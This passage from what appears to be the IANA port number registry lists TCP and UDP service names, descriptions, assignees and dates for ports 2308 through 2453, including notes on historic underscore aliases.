sdhelp             2308        tcp    sdhelp                       [Annette_Klecha]                                      [Annette_Klecha]
sdhelp             2308        udp    sdhelp                       [Annette_Klecha]                                      [Annette_Klecha]
sdserver           2309        tcp    SD Server
sdserver           2309        udp    SD Server
sdclient           2310        tcp    SD Client                    [Jeurgen_Broesamle]                                   [Jeurgen_Broesamle]
sdclient           2310        udp    SD Client                    [Jeurgen_Broesamle]                                   [Jeurgen_Broesamle]
messageservice     2311        tcp    Message Service
messageservice     2311        udp    Message Service
wanscaler          2312        tcp    WANScaler Communication      [Allen_Samuels]                                       [Allen_Samuels]                                           2006-11
                                      Service
wanscaler          2312        udp    WANScaler Communication      [Allen_Samuels]                                       [Allen_Samuels]                                           2006-11
                                      Service
iapp               2313        tcp    IAPP (Inter Access Point     [Henri_Moelard]                                       [Henri_Moelard]
                                      Protocol)
iapp               2313        udp    IAPP (Inter Access Point     [Henri_Moelard]                                       [Henri_Moelard]
                                      Protocol)
cr-websystems      2314        tcp    CR WebSystems                [Robin_Giese]                                         [Robin_Giese]
cr-websystems      2314        udp    CR WebSystems                [Robin_Giese]                                         [Robin_Giese]
precise-sft        2315        tcp    Precise Sft.                 [Michael_Landwehr]                                    [Michael_Landwehr]
precise-sft        2315        udp    Precise Sft.                 [Michael_Landwehr]                                    [Michael_Landwehr]
sent-lm            2316        tcp    SENT License Manager         [Pisharath_Krishnan]                                  [Pisharath_Krishnan]
sent-lm            2316        udp    SENT License Manager         [Pisharath_Krishnan]                                  [Pisharath_Krishnan]
attachmate-g32     2317        tcp    Attachmate G32               [Bryce_Bhatnagar]                                     [Bryce_Bhatnagar]
attachmate-g32     2317        udp    Attachmate G32               [Bryce_Bhatnagar]                                     [Bryce_Bhatnagar]
cadencecontrol     2318        tcp    Cadence Control              [Buck_Caldwell]                                       [Buck_Caldwell]
cadencecontrol     2318        udp    Cadence Control              [Buck_Caldwell]                                       [Buck_Caldwell]
infolibria         2319        tcp    InfoLibria                   [Chris_Chiotasso]                                     [Chris_Chiotasso]
infolibria         2319        udp    InfoLibria                   [Chris_Chiotasso]                                     [Chris_Chiotasso]
siebel-ns          2320        tcp    Siebel NS                    [Gilberto_Arnaiz]                                     [Gilberto_Arnaiz]
siebel-ns          2320        udp    Siebel NS                    [Gilberto_Arnaiz]                                     [Gilberto_Arnaiz]
rdlap              2321        tcp    RDLAP                        [Robert_Wiebe]                                        [Robert_Wiebe]
rdlap              2321        udp    RDLAP                        [Robert_Wiebe]                                        [Robert_Wiebe]
ofsd               2322        tcp    ofsd
ofsd               2322        udp    ofsd
3d-nfsd            2323        tcp    3d-nfsd                      [Mike_Sherrill]                                       [Mike_Sherrill]
3d-nfsd            2323        udp    3d-nfsd                      [Mike_Sherrill]                                       [Mike_Sherrill]
cosmocall          2324        tcp    Cosmocall                    [Steve_Dellutri]                                      [Steve_Dellutri]
cosmocall          2324        udp    Cosmocall                    [Steve_Dellutri]                                      [Steve_Dellutri]
ansysli            2325        tcp    ANSYS Licensing Interconnect [Suzanne_Lorrin]                                      [Suzanne_Lorrin]                                                                                                                                         Modified: 27 October 2008
ansysli            2325        udp    ANSYS Licensing Interconnect [Suzanne_Lorrin]                                      [Suzanne_Lorrin]                                                                                                                                         Modified: 27 October 2008
idcp               2326        tcp    IDCP                         [Keisokugiken_Corp]                                   [Keisokugiken_Corp]
idcp               2326        udp    IDCP                         [Keisokugiken_Corp]                                   [Keisokugiken_Corp]
xingcsm            2327        tcp    xingcsm                      [Dave_Spencer]                                        [Dave_Spencer]
xingcsm            2327        udp    xingcsm                      [Dave_Spencer]                                        [Dave_Spencer]
netrix-sftm        2328        tcp    Netrix SFTM                  [Garrett_Herschleb]                                   [Garrett_Herschleb]
netrix-sftm        2328        udp    Netrix SFTM                  [Garrett_Herschleb]                                   [Garrett_Herschleb]
nvd                2329        tcp    NVD                          [Peter_Weyman]                                        [Peter_Weyman]
nvd                2329        udp    NVD                          [Peter_Weyman]                                        [Peter_Weyman]
tscchat            2330        tcp    TSCCHAT                      [Mike_Jackson]                                        [Mike_Jackson]
tscchat            2330        udp    TSCCHAT                      [Mike_Jackson]                                        [Mike_Jackson]
agentview          2331        tcp    AGENTVIEW                    [Ram_Iyer]                                            [Ram_Iyer]
agentview          2331        udp    AGENTVIEW                    [Ram_Iyer]                                            [Ram_Iyer]
rcc-host           2332        tcp    RCC Host                     [Martin_Shoemaker]                                    [Martin_Shoemaker]
rcc-host           2332        udp    RCC Host                     [Martin_Shoemaker]                                    [Martin_Shoemaker]
snapp              2333        tcp    SNAPP                        [Dan_Burrows]                                         [Dan_Burrows]                                             2009-09-25
snapp              2333        udp    SNAPP                        [Dan_Burrows]                                         [Dan_Burrows]                                             2009-09-25
ace-client         2334        tcp    ACE Client Auth
ace-client         2334        udp    ACE Client Auth
ace-proxy          2335        tcp    ACE Proxy                    [Riaz_Zolfonoon]                                      [Riaz_Zolfonoon]
ace-proxy          2335        udp    ACE Proxy                    [Riaz_Zolfonoon]                                      [Riaz_Zolfonoon]
appleugcontrol     2336        tcp    Apple UG Control             [Gene_Tyacke]                                         [Gene_Tyacke]
appleugcontrol     2336        udp    Apple UG Control             [Gene_Tyacke]                                         [Gene_Tyacke]
ideesrv            2337        tcp    ideesrv                      [Marazzi]                                             [Marazzi]
ideesrv            2337        udp    ideesrv                      [Marazzi]                                             [Marazzi]
norton-lambert     2338        tcp    Norton Lambert               [Richard_de_Mornay]                                   [Richard_de_Mornay]
norton-lambert     2338        udp    Norton Lambert               [Richard_de_Mornay]                                   [Richard_de_Mornay]
3com-webview       2339        tcp    3Com WebView                 [Jennifer_Grace]                                      [Jennifer_Grace]
3com-webview       2339        udp    3Com WebView                 [Jennifer_Grace]                                      [Jennifer_Grace]
                                      WRS Registry

wrs-registry       2340        tcp    IANA assigned this           [Christophe_Cleraux]                                  [Christophe_Cleraux]
                                      well-formed service name as
                                      a replacement for
                                      "wrs_registry".
                                                                                                                                                                                                                                                                                  This entry is an alias to "wrs-registry". This entry is now
wrs_registry       2340        tcp    WRS Registry                 [Christophe_Cleraux]                                  [Christophe_Cleraux]                                                                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      WRS Registry

wrs-registry       2340        udp    IANA assigned this           [Christophe_Cleraux]                                  [Christophe_Cleraux]
                                      well-formed service name as
                                      a replacement for
                                      "wrs_registry".
                                                                                                                                                                                                                                                                                  This entry is an alias to "wrs-registry". This entry is now
wrs_registry       2340        udp    WRS Registry                 [Christophe_Cleraux]                                  [Christophe_Cleraux]                                                                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
xiostatus          2341        tcp    XIO Status                   [Randy_Maas]                                          [Randy_Maas]
xiostatus          2341        udp    XIO Status                   [Randy_Maas]                                          [Randy_Maas]
manage-exec        2342        tcp    Seagate Manage Exec          [Jim_Flaherty]                                        [Jim_Flaherty]
manage-exec        2342        udp    Seagate Manage Exec          [Jim_Flaherty]                                        [Jim_Flaherty]
nati-logos         2343        tcp    nati logos                   [James_Juhasz]                                        [James_Juhasz]
nati-logos         2343        udp    nati logos                   [James_Juhasz]                                        [James_Juhasz]
fcmsys             2344        tcp    fcmsys
fcmsys             2344        udp    fcmsys
dbm                2345        tcp    dbm                          [Dean_Robson]                                         [Dean_Robson]
dbm                2345        udp    dbm                          [Dean_Robson]                                         [Dean_Robson]
                                      Game Connection Port

redstorm-join      2346        tcp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "redstorm_join".
                                                                                                                                                                                                                                                                                  This entry is an alias to "redstorm-join". This entry is now
redstorm_join      2346        tcp    Game Connection Port                                                                                                                                                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Game Connection Port

redstorm-join      2346        udp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "redstorm_join".
                                                                                                                                                                                                                                                                                  This entry is an alias to "redstorm-join". This entry is now
redstorm_join      2346        udp    Game Connection Port                                                                                                                                                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Game Announcement and
                                      Location

redstorm-find      2347        tcp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "redstorm_find".
                                      Game Announcement and                                                                                                                                                                                                                       This entry is an alias to "redstorm-find". This entry is now
redstorm_find      2347        tcp    Location                                                                                                                                                                                                                                    historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Game Announcement and
                                      Location

redstorm-find      2347        udp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "redstorm_find".
                                      Game Announcement and                                                                                                                                                                                                                       This entry is an alias to "redstorm-find". This entry is now
redstorm_find      2347        udp    Location                                                                                                                                                                                                                                    historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Information to query for
                                      game status

redstorm-info      2348        tcp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "redstorm_info".
                                      Information to query for                                                                                                                                                                                                                    This entry is an alias to "redstorm-info". This entry is now
redstorm_info      2348        tcp    game status                                                                                                                                                                                                                                 historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Information to query for
                                      game status

redstorm-info      2348        udp    IANA assigned this
                                      well-formed service name as
                                      a replacement for
                                      "redstorm_info".
                                      Information to query for                                                                                                                                                                                                                    This entry is an alias to "redstorm-info". This entry is now
redstorm_info      2348        udp    game status                                                                                                                                                                                                                                 historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Diagnostics Port

redstorm-diag      2349        tcp    IANA assigned this           [David_Weinstein]                                     [David_Weinstein]
                                      well-formed service name as
                                      a replacement for
                                      "redstorm_diag".
                                                                                                                                                                                                                                                                                  This entry is an alias to "redstorm-diag". This entry is now
redstorm_diag      2349        tcp    Diagnostics Port             [David_Weinstein]                                     [David_Weinstein]                                                                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Diagnostics Port

redstorm-diag      2349        udp    IANA assigned this           [David_Weinstein]                                     [David_Weinstein]
                                      well-formed service name as
                                      a replacement for
                                      "redstorm_diag".
                                                                                                                                                                                                                                                                                  This entry is an alias to "redstorm-diag". This entry is now
redstorm_diag      2349        udp    Diagnostics Port             [David_Weinstein]                                     [David_Weinstein]                                                                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
psbserver          2350        tcp    Pharos Booking Server
psbserver          2350        udp    Pharos Booking Server
psrserver          2351        tcp    psrserver
psrserver          2351        udp    psrserver
pslserver          2352        tcp    pslserver
pslserver          2352        udp    pslserver
pspserver          2353        tcp    pspserver
pspserver          2353        udp    pspserver
psprserver         2354        tcp    psprserver
psprserver         2354        udp    psprserver
psdbserver         2355        tcp    psdbserver                   [Paul_Reddy]                                          [Paul_Reddy]
psdbserver         2355        udp    psdbserver                   [Paul_Reddy]                                          [Paul_Reddy]
gxtelmd            2356        tcp    GXT License Managemant       [Robert_Hodgson]                                      [Robert_Hodgson]
gxtelmd            2356        udp    GXT License Managemant       [Robert_Hodgson]                                      [Robert_Hodgson]
unihub-server      2357        tcp    UniHub Server                [Tim_Kenyon]                                          [Tim_Kenyon]
unihub-server      2357        udp    UniHub Server                [Tim_Kenyon]                                          [Tim_Kenyon]
futrix             2358        tcp    Futrix                       [Peter_Frankenberg]                                   [Peter_Frankenberg]
futrix             2358        udp    Futrix                       [Peter_Frankenberg]                                   [Peter_Frankenberg]
flukeserver        2359        tcp    FlukeServer                  [Bill_Marbaker]                                       [Bill_Marbaker]
flukeserver        2359        udp    FlukeServer                  [Bill_Marbaker]                                       [Bill_Marbaker]
nexstorindltd      2360        tcp    NexstorIndLtd                [NexStor_India_Limite]                                [NexStor_India_Limite]
nexstorindltd      2360        udp    NexstorIndLtd                [NexStor_India_Limite]                                [NexStor_India_Limite]
tl1                2361        tcp    TL1                          [Charles_Scott_Robers]                                [Charles_Scott_Robers]
tl1                2361        udp    TL1                          [Charles_Scott_Robers]                                [Charles_Scott_Robers]
digiman            2362        tcp    digiman                      [Aaron_S_Kurland]                                     [Aaron_S_Kurland]
digiman            2362        udp    digiman                      [Aaron_S_Kurland]                                     [Aaron_S_Kurland]
mediacntrlnfsd     2363        tcp    Media Central NFSD           [Shivakumar_S_Govind]                                 [Shivakumar_S_Govind]
mediacntrlnfsd     2363        udp    Media Central NFSD           [Shivakumar_S_Govind]                                 [Shivakumar_S_Govind]
oi-2000            2364        tcp    OI-2000                      [Software_Horizons_In]                                [Software_Horizons_In]
oi-2000            2364        udp    OI-2000                      [Software_Horizons_In]                                [Software_Horizons_In]
dbref              2365        tcp    dbref                        [Yoshihiro_Yamazaki]                                  [Yoshihiro_Yamazaki]
dbref              2365        udp    dbref                        [Yoshihiro_Yamazaki]                                  [Yoshihiro_Yamazaki]
qip-login          2366        tcp    qip-login                    [Mike_Morgan]                                         [Mike_Morgan]
qip-login          2366        udp    qip-login                    [Mike_Morgan]                                         [Mike_Morgan]
service-ctrl       2367        tcp    Service Control              [Humberto_Sanchez]                                    [Humberto_Sanchez]
service-ctrl       2367        udp    Service Control              [Humberto_Sanchez]                                    [Humberto_Sanchez]
opentable          2368        tcp    OpenTable                    [Brett_Goldstein]                                     [Brett_Goldstein]
opentable          2368        udp    OpenTable                    [Brett_Goldstein]                                     [Brett_Goldstein]
                   2369               Unassigned                                                                                                                                                                                                                                  De-registered (28 March 2006)
l3-hbmon           2370        tcp    L3-HBMon                     [Dolores_Scott]                                       [Dolores_Scott]                                                        2014-04-09
l3-hbmon           2370        udp    L3-HBMon                     [Dolores_Scott]                                       [Dolores_Scott]                                                        2014-04-09
rda                2371        tcp    Remote Device Access         [Hewlett_Packard_Enterprise_2]                        [Steve_Roscio][Paul_Vencel]                                            2018-11-05
                   2371        udp    Reserved                                                                                                                                                  2014-04-09
lanmessenger       2372        tcp    LanMessenger                 [Garrett_Padera]                                      [Garrett_Padera]                                          2008-02-01
lanmessenger       2372        udp    LanMessenger                 [Garrett_Padera]                                      [Garrett_Padera]                                          2008-02-01
remographlm        2373        tcp    Remograph License Manager    [Per_Fahlberg]                                        [Per_Fahlberg]                                            2009-01-21
                   2373        udp    Reserved
hydra              2374        tcp    Hydra RPC                    [Jacob_Feisley]                                       [Jacob_Feisley]                                           2009-01-21
                   2374        udp    Reserved
docker             2375        tcp    Docker REST API (plain text) [DOCKER]                                              [Christopher_Liljenstolpe]                                2014-04-17
                   2375        udp    Reserved
docker-s           2376        tcp    Docker REST API (ssl)        [DOCKER]                                              [Christopher_Liljenstolpe]                                2014-04-17
swarm              2377        tcp    RPC interface for Docker     [Docker_Inc]                                          [Mike_Goelzer]                                            2016-12-23
                                      Swarm
                   2377        udp    Reserved
                   2378               Unassigned
etcd-client        2379        tcp    etcd client communication    [CoreOS]                                              [Brian_Harrington]                                        2014-07-09
                   2379        udp    Reserved
etcd-server        2380        tcp    etcd server to server        [CoreOS]                                              [Brian_Harrington]                                        2014-07-09
                                      communication
                   2380        udp    Reserved
compaq-https       2381        tcp    Compaq HTTPS                 [Scott_Shaffer]                                       [Scott_Shaffer]
compaq-https       2381        udp    Compaq HTTPS                 [Scott_Shaffer]                                       [Scott_Shaffer]
ms-olap3           2382        tcp    Microsoft OLAP
ms-olap3           2382        udp    Microsoft OLAP
ms-olap4           2383        tcp    Microsoft OLAP               [Mosha_Pasumansky]                                    [Mosha_Pasumansky]
ms-olap4           2383        udp    Microsoft OLAP               [Mosha_Pasumansky]                                    [Mosha_Pasumansky]
sd-request         2384        tcp    SD-REQUEST
sd-capacity        2384        udp    SD-CAPACITY                  [Jason_McManus_2]                                     [Jason_McManus_2]
sd-data            2385        tcp    SD-DATA                      [Jason_McManus_2]                                     [Jason_McManus_2]
sd-data            2385        udp    SD-DATA                      [Jason_McManus_2]                                     [Jason_McManus_2]
virtualtape        2386        tcp    Virtual Tape
virtualtape        2386        udp    Virtual Tape
vsamredirector     2387        tcp    VSAM Redirector              [Ingo_Franzki]                                        [Ingo_Franzki]
vsamredirector     2387        udp    VSAM Redirector              [Ingo_Franzki]                                        [Ingo_Franzki]
mynahautostart     2388        tcp    MYNAH AutoStart              [Thomas_J_Klehr]                                      [Thomas_J_Klehr]
mynahautostart     2388        udp    MYNAH AutoStart              [Thomas_J_Klehr]                                      [Thomas_J_Klehr]
ovsessionmgr       2389        tcp    OpenView Session Mgr         [Eric_Pulsipher]                                      [Eric_Pulsipher]
ovsessionmgr       2389        udp    OpenView Session Mgr         [Eric_Pulsipher]                                      [Eric_Pulsipher]
rsmtp              2390        tcp    RSMTP                        [Geoff_Collyer]                                       [Geoff_Collyer]
rsmtp              2390        udp    RSMTP                        [Geoff_Collyer]                                       [Geoff_Collyer]
3com-net-mgmt      2391        tcp    3COM Net Management          [Prathibha_Nagvar]                                    [Prathibha_Nagvar]
3com-net-mgmt      2391        udp    3COM Net Management          [Prathibha_Nagvar]                                    [Prathibha_Nagvar]
tacticalauth       2392        tcp    Tactical Auth                [David_Yon]                                           [David_Yon]
tacticalauth       2392        udp    Tactical Auth                [David_Yon]                                           [David_Yon]
ms-olap1           2393        tcp    MS OLAP 1
ms-olap1           2393        udp    MS OLAP 1
ms-olap2           2394        tcp    MS OLAP 2                    [Mosha_Pasumansky]                                    [Mosha_Pasumansky]
ms-olap2           2394        udp    MS OLAP 2                    [Mosha_Pasumansky]                                    [Mosha_Pasumansky]
                                      LAN900 Remote

lan900-remote      2395        tcp    IANA assigned this           [Tom_Quinlan]                                         [Tom_Quinlan]
                                      well-formed service name as
                                      a replacement for
                                      "lan900_remote".
                                                                                                                                                                                                                                                                                  This entry is an alias to "lan900-remote". This entry is now
lan900_remote      2395        tcp    LAN900 Remote                [Tom_Quinlan]                                         [Tom_Quinlan]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      LAN900 Remote

lan900-remote      2395        udp    IANA assigned this           [Tom_Quinlan]                                         [Tom_Quinlan]
                                      well-formed service name as
                                      a replacement for
                                      "lan900_remote".
                                                                                                                                                                                                                                                                                  This entry is an alias to "lan900-remote". This entry is now
lan900_remote      2395        udp    LAN900 Remote                [Tom_Quinlan]                                         [Tom_Quinlan]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
wusage             2396        tcp    Wusage                       [Thomas_Boutell]                                      [Thomas_Boutell]
wusage             2396        udp    Wusage                       [Thomas_Boutell]                                      [Thomas_Boutell]
ncl                2397        tcp    NCL                          [Robert_Wiebe]                                        [Robert_Wiebe]
ncl                2397        udp    NCL                          [Robert_Wiebe]                                        [Robert_Wiebe]
orbiter            2398        tcp    Orbiter                      [David_Goldberg]                                      [David_Goldberg]
orbiter            2398        udp    Orbiter                      [David_Goldberg]                                      [David_Goldberg]
fmpro-fdal         2399        tcp    FileMaker, Inc. - Data       [Clay_Maeckal]                                        [Clay_Maeckal]
                                      Access Layer
fmpro-fdal         2399        udp    FileMaker, Inc. - Data       [Clay_Maeckal]                                        [Clay_Maeckal]
                                      Access Layer
opequus-server     2400        tcp    OpEquus Server               [Gavin_Hutchinson_2]                                  [Gavin_Hutchinson_2]
opequus-server     2400        udp    OpEquus Server               [Gavin_Hutchinson_2]                                  [Gavin_Hutchinson_2]
cvspserver         2401        tcp    cvspserver                   [Jim_Kingdon]                                         [Jim_Kingdon]
cvspserver         2401        udp    cvspserver                   [Jim_Kingdon]                                         [Jim_Kingdon]
taskmaster2000     2402        tcp    TaskMaster 2000 Server
taskmaster2000     2402        udp    TaskMaster 2000 Server
taskmaster2000     2403        tcp    TaskMaster 2000 Web          [Ed_Odjaghian]                                        [Ed_Odjaghian]
taskmaster2000     2403        udp    TaskMaster 2000 Web          [Ed_Odjaghian]                                        [Ed_Odjaghian]
iec-104            2404        tcp    IEC 60870-5-104 process      [Walter_K_Eichelburg]                                 [Walter_K_Eichelburg]
                                      control over IP
iec-104            2404        udp    IEC 60870-5-104 process      [Walter_K_Eichelburg]                                 [Walter_K_Eichelburg]
                                      control over IP
trc-netpoll        2405        tcp    TRC Netpoll                  [Bizhan_Ghavami]                                      [Bizhan_Ghavami]
trc-netpoll        2405        udp    TRC Netpoll                  [Bizhan_Ghavami]                                      [Bizhan_Ghavami]
jediserver         2406        tcp    JediServer                   [Paul_McEntire]                                       [Paul_McEntire]
jediserver         2406        udp    JediServer                   [Paul_McEntire]                                       [Paul_McEntire]
orion              2407        tcp    Orion                        [Matthew_Horoschun]                                   [Matthew_Horoschun]
orion              2407        udp    Orion                        [Matthew_Horoschun]                                   [Matthew_Horoschun]
railgun-webaccl    2408        tcp    CloudFlare Railgun Web       [CloudFlare]                                          [John_Graham_Cumming]                                                  2012-03-09
                                      Acceleration Protocol
                   2408        udp    Reserved                                                                                                                                                  2012-03-09                                                                        This entry is being removed on 2012-03-09.
sns-protocol       2409        tcp    SNS Protocol                 [Amir_Blich]                                          [Amir_Blich]
sns-protocol       2409        udp    SNS Protocol                 [Amir_Blich]                                          [Amir_Blich]
vrts-registry      2410        tcp    VRTS Registry                [Pranay_Varma]                                        [Pranay_Varma]
vrts-registry      2410        udp    VRTS Registry                [Pranay_Varma]                                        [Pranay_Varma]
netwave-ap-mgmt    2411        tcp    Netwave AP Management        [Johnny_Zweig]                                        [Johnny_Zweig]
netwave-ap-mgmt    2411        udp    Netwave AP Management        [Johnny_Zweig]                                        [Johnny_Zweig]
cdn                2412        tcp    CDN                          [Alan_Noble]                                          [Alan_Noble]
cdn                2412        udp    CDN                          [Alan_Noble]                                          [Alan_Noble]
orion-rmi-reg      2413        tcp    orion-rmi-reg                [J_S_Greenfield_2]                                    [J_S_Greenfield_2]
orion-rmi-reg      2413        udp    orion-rmi-reg                [J_S_Greenfield_2]                                    [J_S_Greenfield_2]
beeyond            2414        tcp    Beeyond                      [Bob_Deblier]                                         [Bob_Deblier]
beeyond            2414        udp    Beeyond                      [Bob_Deblier]                                         [Bob_Deblier]
codima-rtp         2415        tcp    Codima Remote Transaction    [Sylvia_Ross]                                         [Sylvia_Ross]
                                      Protocol
codima-rtp         2415        udp    Codima Remote Transaction    [Sylvia_Ross]                                         [Sylvia_Ross]
                                      Protocol
rmtserver          2416        tcp    RMT Server                   [Yvon_Marineau]                                       [Yvon_Marineau]
rmtserver          2416        udp    RMT Server                   [Yvon_Marineau]                                       [Yvon_Marineau]
composit-server    2417        tcp    Composit Server              [Katsuaki_Naoi]                                       [Katsuaki_Naoi]
composit-server    2417        udp    Composit Server              [Katsuaki_Naoi]                                       [Katsuaki_Naoi]
cas                2418        tcp    cas                          [Akiyoshi_Ochi]                                       [Akiyoshi_Ochi]
cas                2418        udp    cas                          [Akiyoshi_Ochi]                                       [Akiyoshi_Ochi]
attachmate-s2s     2419        tcp    Attachmate S2S               [Chris_Rominski]                                      [Chris_Rominski]
attachmate-s2s     2419        udp    Attachmate S2S               [Chris_Rominski]                                      [Chris_Rominski]
dslremote-mgmt     2420        tcp    DSL Remote Management        [Westell]                                             [Westell]
dslremote-mgmt     2420        udp    DSL Remote Management        [Westell]                                             [Westell]
g-talk             2421        tcp    G-Talk                       [Matt_Hammond]                                        [Matt_Hammond]
g-talk             2421        udp    G-Talk                       [Matt_Hammond]                                        [Matt_Hammond]
crmsbits           2422        tcp    CRMSBITS                     [Rod_Ward]                                            [Rod_Ward]
crmsbits           2422        udp    CRMSBITS                     [Rod_Ward]                                            [Rod_Ward]
rnrp               2423        tcp    RNRP                         [Per_Sahlqvist]                                       [Per_Sahlqvist]
rnrp               2423        udp    RNRP                         [Per_Sahlqvist]                                       [Per_Sahlqvist]
kofax-svr          2424        tcp    KOFAX-SVR                    [Steven_Kilby]                                        [Steven_Kilby]                                            2011-04-25
kofax-svr          2424        udp    KOFAX-SVR                    [Steven_Kilby]                                        [Steven_Kilby]                                            2011-04-25
fjitsuappmgr       2425        tcp    Fujitsu App Manager          [Hiroyuki_Kawabuchi]                                  [Hiroyuki_Kawabuchi]
fjitsuappmgr       2425        udp    Fujitsu App Manager          [Hiroyuki_Kawabuchi]                                  [Hiroyuki_Kawabuchi]
vcmp               2426        tcp    VeloCloud MultiPath Protocol [VeloCloud_Networks]                                  [Tim_Van_Herck]                                           2014-11-13                                                                                     This port was previously removed on 2002-04-29.
vcmp               2426        udp    VeloCloud MultiPath Protocol [VeloCloud_Networks]                                  [Tim_Van_Herck]                                           2014-11-13                                                                                     This port was previously removed on 2002-04-29.
mgcp-gateway       2427        tcp    Media Gateway Control        [Christian_Huitema]                                   [Christian_Huitema]
                                      Protocol Gateway
mgcp-gateway       2427        udp    Media Gateway Control        [Christian_Huitema]                                   [Christian_Huitema]
                                      Protocol Gateway
ott                2428        tcp    One Way Trip Time            [Greg_Troxel]                                         [Greg_Troxel]
ott                2428        udp    One Way Trip Time            [Greg_Troxel]                                         [Greg_Troxel]
ft-role            2429        tcp    FT-ROLE                      [Doug_Boone]                                          [Doug_Boone]
ft-role            2429        udp    FT-ROLE                      [Doug_Boone]                                          [Doug_Boone]
venus              2430        tcp    venus
venus              2430        udp    venus
venus-se           2431        tcp    venus-se
venus-se           2431        udp    venus-se
codasrv            2432        tcp    codasrv
codasrv            2432        udp    codasrv
codasrv-se         2433        tcp    codasrv-se                   [Robert_Watson]                                       [Robert_Watson]
codasrv-se         2433        udp    codasrv-se                   [Robert_Watson]                                       [Robert_Watson]
pxc-epmap          2434        tcp    pxc-epmap                    [Jun_Nakamura]                                        [Jun_Nakamura]
pxc-epmap          2434        udp    pxc-epmap                    [Jun_Nakamura]                                        [Jun_Nakamura]
optilogic          2435        tcp    OptiLogic                    [Clark_Williams]                                      [Clark_Williams]
optilogic          2435        udp    OptiLogic                    [Clark_Williams]                                      [Clark_Williams]
topx               2436        tcp    TOP/X                        [Dragos_Pop]                                          [Dragos_Pop]
topx               2436        udp    TOP/X                        [Dragos_Pop]                                          [Dragos_Pop]
unicontrol         2437        tcp    UniControl                   [Ing_Markus_Huemer]                                   [Ing_Markus_Huemer]
unicontrol         2437        udp    UniControl                   [Ing_Markus_Huemer]                                   [Ing_Markus_Huemer]
msp                2438        tcp    MSP                          [Evan_Caves]                                          [Evan_Caves]
msp                2438        udp    MSP                          [Evan_Caves]                                          [Evan_Caves]
sybasedbsynch      2439        tcp    SybaseDBSynch                [Dave_Neudoerffer]                                    [Dave_Neudoerffer]
sybasedbsynch      2439        udp    SybaseDBSynch                [Dave_Neudoerffer]                                    [Dave_Neudoerffer]
spearway           2440        tcp    Spearway Lockers             [Pierre_Frisch]                                       [Pierre_Frisch]
spearway           2440        udp    Spearway Lockers             [Pierre_Frisch]                                       [Pierre_Frisch]
pvsw-inet          2441        tcp    Pervasive I*net Data Server  [Chuck_Talk]                                          [Chuck_Talk]
pvsw-inet          2441        udp    Pervasive I*net Data Server  [Chuck_Talk]                                          [Chuck_Talk]
netangel           2442        tcp    Netangel                     [Ladislav_Baranyay]                                   [Ladislav_Baranyay]
netangel           2442        udp    Netangel                     [Ladislav_Baranyay]                                   [Ladislav_Baranyay]
powerclientcsf     2443        tcp    PowerClient Central Storage  [Brian_Klassen]                                       [Brian_Klassen]
                                      Facility
powerclientcsf     2443        udp    PowerClient Central Storage  [Brian_Klassen]                                       [Brian_Klassen]
                                      Facility
btpp2sectrans      2444        tcp    BT PP2 Sectrans              [Ian_Daniels]                                         [Ian_Daniels]
btpp2sectrans      2444        udp    BT PP2 Sectrans              [Ian_Daniels]                                         [Ian_Daniels]
dtn1               2445        tcp    DTN1                         [Bob_Gaddie]                                          [Bob_Gaddie]
dtn1               2445        udp    DTN1                         [Bob_Gaddie]                                          [Bob_Gaddie]
                                      bues_service

bues-service       2446        tcp    IANA assigned this           [Leonhard_Diekmann]                                   [Leonhard_Diekmann]
                                      well-formed service name as
                                      a replacement for
                                      "bues_service".
                                                                                                                                                                                                                                                                                  This entry is an alias to "bues-service". This entry is now
bues_service       2446        tcp    bues_service                 [Leonhard_Diekmann]                                   [Leonhard_Diekmann]                                                                                                                                      historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      bues_service

bues-service       2446        udp    IANA assigned this           [Leonhard_Diekmann]                                   [Leonhard_Diekmann]
                                      well-formed service name as
                                      a replacement for
                                      "bues_service".
                                                                                                                                                                                                                                                                                  This entry is an alias to "bues-service". This entry is now
bues_service       2446        udp    bues_service                 [Leonhard_Diekmann]                                   [Leonhard_Diekmann]                                                                                                                                      historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
ovwdb              2447        tcp    OpenView NNM daemon          [Eric_Pulsipher_2]                                    [Eric_Pulsipher_2]
ovwdb              2447        udp    OpenView NNM daemon          [Eric_Pulsipher_2]                                    [Eric_Pulsipher_2]
hpppssvr           2448        tcp    hpppsvr                      [Bridgette_Landers]                                   [Bridgette_Landers]
hpppssvr           2448        udp    hpppsvr                      [Bridgette_Landers]                                   [Bridgette_Landers]
ratl               2449        tcp    RATL                         [Paul_Greenfield]                                     [Paul_Greenfield]
ratl               2449        udp    RATL                         [Paul_Greenfield]                                     [Paul_Greenfield]
netadmin           2450        tcp    netadmin
netadmin           2450        udp    netadmin
netchat            2451        tcp    netchat                      [Julian_Mehnle]                                       [Julian_Mehnle]
netchat            2451        udp    netchat                      [Julian_Mehnle]                                       [Julian_Mehnle]
snifferclient      2452        tcp    SnifferClient                [Amy_Weaver_2]                                        [Amy_Weaver_2]
snifferclient      2452        udp    SnifferClient                [Amy_Weaver_2]                                        [Amy_Weaver_2]
madge-ltd          2453        tcp    madge ltd                    [Mark_Lyall]                                          [Mark_Lyall]
madge-ltd          2453        udp    madge ltd                    [Mark_Lyall]                                          [Mark_Lyall]
